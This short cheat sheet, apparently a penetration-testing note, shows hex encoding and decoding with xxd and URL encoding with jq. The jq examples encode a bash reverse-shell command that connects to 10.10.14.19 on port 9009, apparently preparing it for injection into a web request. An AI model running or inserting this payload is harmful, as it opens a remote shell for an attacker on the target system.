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Encode & Decode

Hex​

Hex encoding​

echo -n "ABCD" | xxd -E -p

Output: 41424344

Hex decoding​

echo -n "41424344" | xxd -r -p

Output: ABCD

url​

url encoding with jq​

This encoding is generated with jq - Command line JSON processor.

echo 'bash -c "bash -i >& /dev/tcp/10.10.14.19/9009 0>&1"' | jq -sRr @uri

OR

jq -rn --arg x 'bash -c "bash -i >& /dev/tcp/10.10.14.19/9009 0>&1"' '$x|@uri'